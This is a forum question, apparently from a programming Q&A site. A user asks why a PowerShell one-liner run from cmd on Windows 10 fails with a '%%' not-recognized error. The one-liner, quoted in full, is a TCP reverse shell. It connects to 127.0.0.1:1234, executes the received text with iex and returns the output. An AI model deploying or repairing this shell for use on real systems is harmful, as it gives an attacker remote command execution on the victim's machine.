Powershell The term '%%' is not recognized as the name of a cmdlet

Question

I run this code on cmd on win 10

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

but i get this error

%% : The term '%%' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:127 + ... 3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};whil ... + ~~ + CategoryInfo : ObjectNotFound: (%%:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException

Exception calling "Read" with "3" argument(s): "Value cannot be null. Parameter name: buffer" At line:1 char:140 + ... 5535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentNullException Any ideas why It says that? I saw some tutorials and it works good on them